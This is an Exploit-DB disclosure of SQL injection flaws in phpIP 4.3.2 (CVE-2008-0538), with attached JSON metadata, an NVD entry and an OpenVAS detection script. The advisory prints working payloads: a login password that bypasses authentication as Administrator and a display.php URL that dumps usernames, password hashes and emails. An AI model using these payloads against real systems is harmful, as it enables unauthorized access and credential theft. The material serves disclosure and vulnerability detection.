There exist numerous SQL injection vulnerabilities in phpIP 4.3.2, and
probably previous versions. Most of the data obtained from the request
variables ($_GET, $_POST, $_COOKIE, etc) is not sanitized before it is
passed to MySQL. This may result in un-authorized administrative
access to phpIp and read-access to the database, among other things.
One such vulnerability allows an attacker to gain administrative
access to the application, this does not require the attacker to
already have access to an existing user account.
Proof of concept:
Go to the phpIP login page and enter a valid username ('phpip'
typically works, if not try 'admin') with the following password:
a') UNION SELECT 1,1,'Administrator',1,1,1,1,1 #
At this point you will be logged in as an Administrator with the
supplied username.
There is also the risk of information disclosure through another SQL
injection vulnerability found in display.php. The following PoC
demonstrates a query that will echo a userid, username, MD5-hashed
password, and email address to the page. You must be logged in to take
advantage of this vulnerability (see above.)
Proof of concept:
http(s)://path/to/phpip/display.php?range=view&id=0%20UNION%20SELECT%20null,null,null,null,null,null,uid,username,password,email,null,null,null,null,null,null,null,null,null,null%20%20FROM%20users--&iprange=0&netid=0
# milw0rm.com [2008-01-26]
{"id": "EDB-ID:4990", "hash": "451b8738d955ac0e836d3f8e3cd0000d", "type": "exploitdb", "bulletinFamily": "exploit", "title": "phpIP 4.3.2 Numerous Remote SQL Injection Vulnerabilities", "description": "phpIP 4.3.2 Numerous Remote SQL Injection Vulnerabilities. CVE-2008-0538. Webapps exploit for php platform", "published": "2008-01-26T00:00:00", "modified": "2008-01-26T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/4990/", "reporter": "Charles Hooper", "references": [], "cvelist": ["CVE-2008-0538"], "lastseen": "2016-01-31T22:15:59", "history": [], "viewCount": 2, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-0538"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310108432"]}], "modified": "2016-01-31T22:15:59"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/4990/", "sourceData": "There exist numerous SQL injection vulnerabilities in phpIP 4.3.2, and\nprobably previous versions. Most of the data obtained from the request\nvariables ($_GET, $_POST, $_COOKIE, etc) is not sanitized before it is\npassed to MySQL. This may result in un-authorized administrative\naccess to phpIp and read-access to the database, among other things.\n\nOne such vulnerability allows an attacker to gain administrative\naccess to the application, this does not require the attacker to\nalready have access to an existing user account.\n\nProof of concept:\nGo to the phpIP login page and enter a valid username ('phpip'\ntypically works, if not try 'admin') with the following password:\n\na') UNION SELECT 1,1,'Administrator',1,1,1,1,1 #\n\nAt this point you will be logged in as an Administrator with the\nsupplied username.\n\nThere is also the risk of information disclosure through another SQL\ninjection vulnerability found in display.php. The following PoC\ndemonstrates a query that will echo a userid, username, MD5-hashed\npassword, and email address to the page. You must be logged in to take\nadvantage of this vulnerability (see above.)\n\nProof of concept:\nhttp(s)://path/to/phpip/display.php?range=view&id=0%20UNION%20SELECT%20null,null,null,null,null,null,uid,username,password,email,null,null,null,null,null,null,null,null,null,null%20%20FROM%20users--&iprange=0&netid=0\n\n# milw0rm.com [2008-01-26]\n", "osvdbidlist": ["40716", "40715"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2018-10-16T10:52:02", "bulletinFamily": "NVD", "description": "Multiple SQL injection vulnerabilities in phpIP Management 4.3.2 allow remote attackers to execute arbitrary SQL commands via the (1) password parameter to login.php, the (2) id parameter to display.php, and unspecified other vectors. NOTE: some of these details are obtained from third party information.", "modified": "2018-10-15T18:01:02", "published": "2008-02-01T15:00:00", "id": "CVE-2008-0538", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-0538", "title": "CVE-2008-0538", "type": "cve", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "openvas": [{"lastseen": "2018-10-23T16:35:33", "bulletinFamily": "scanner", "description": "phpIP Management is prone to multiple SQL-injection vulnerabilities\n because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.", "modified": "2018-10-23T00:00:00", "published": "2018-03-15T00:00:00", "id": "OPENVAS:1361412562310108432", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310108432", "title": "phpIP Management 'CVE-2008-0538' Multiple SQL Injection Vulnerabilities", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_phpip_mult_sqli.nasl 12025 2018-10-23 08:16:52Z mmartin $\n#\n# phpIP Management 'CVE-2008-0538' Multiple SQL Injection Vulnerabilities\n#\n# Authors:\n# Michael Martin <michael.martin@greenbone.net>\n# Christian Fischer <christian.fischer@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, https://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:phpip:phpip_management\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.108432\");\n script_version(\"$Revision: 12025 $\");\n script_bugtraq_id(27468);\n script_cve_id(\"CVE-2008-0538\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-23 10:16:52 +0200 (Tue, 23 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2018-03-15 11:36:56 +0100 (Thu, 15 Mar 2018)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_name(\"phpIP Management 'CVE-2008-0538' Multiple SQL Injection Vulnerabilities\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_phpip_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"phpip_management/detected\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/27468\");\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/archive/1/487122\");\n\n script_tag(name:\"summary\", value:\"phpIP Management is prone to multiple SQL-injection vulnerabilities\n because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.\");\n\n script_tag(name:\"vuldetect\", value:\"Send a crafted HTTP POST request and check the response of\n the application.\");\n\n script_tag(name:\"insight\", value:\"The application allows unsanitized SQL commands via the (1) password\n parameter to login.php, the (2) id parameter to display.php, and unspecified other vectors\");\n\n script_tag(name:\"impact\", value:\"Exploiting these issues could allow an attacker to compromise the\n application, access or modify data, or exploit latent vulnerabilities in the underlying database.\");\n\n script_tag(name:\"affected\", value:\"These issues affect phpIP Management 4.3.2. Other versions may also be vulnerable.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure\n of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer\n release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"qod_type\", value:\"remote_app\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif( ! port = get_app_port( cpe:CPE ) ) exit( 0 );\nif( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );\n\nif( dir == \"/\" ) dir = \"\";\nurl = dir + \"/login.php?req=validate\";\ndata = \"username=openvas'&password=openvas&x=0&y=0&action=login\";\n\nreq = http_post_req( port:port, url:url, data:data, add_headers:make_array( \"Content-Type\", \"application/x-www-form-urlencoded\" ) );\nres = http_keepalive_send_recv( port:port, data:req );\n\nif( \"mysql_num_rows(): supplied argument is not a valid MySQL result resource\" >< res ) {\n\n err = egrep( pattern:\"mysql_num_rows\", string:res );\n\n info['\"HTTP POST\" body'] = data;\n info['URL'] = report_vuln_url( port:port, url:url, url_only:TRUE );\n\n report = 'By doing the following request:\\n\\n';\n report += text_format_table( array:info ) + '\\n';\n report += 'it was possible to execute a SQL injection.';\n report += '\\n\\nResult: ' + err;\n\n expert_info = 'Request:\\n'+ req + 'Response:\\n' + res;\n security_message( port:port, data:report, expert_info:expert_info );\n exit( 0 );\n}\n\nexit( 99 );\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}
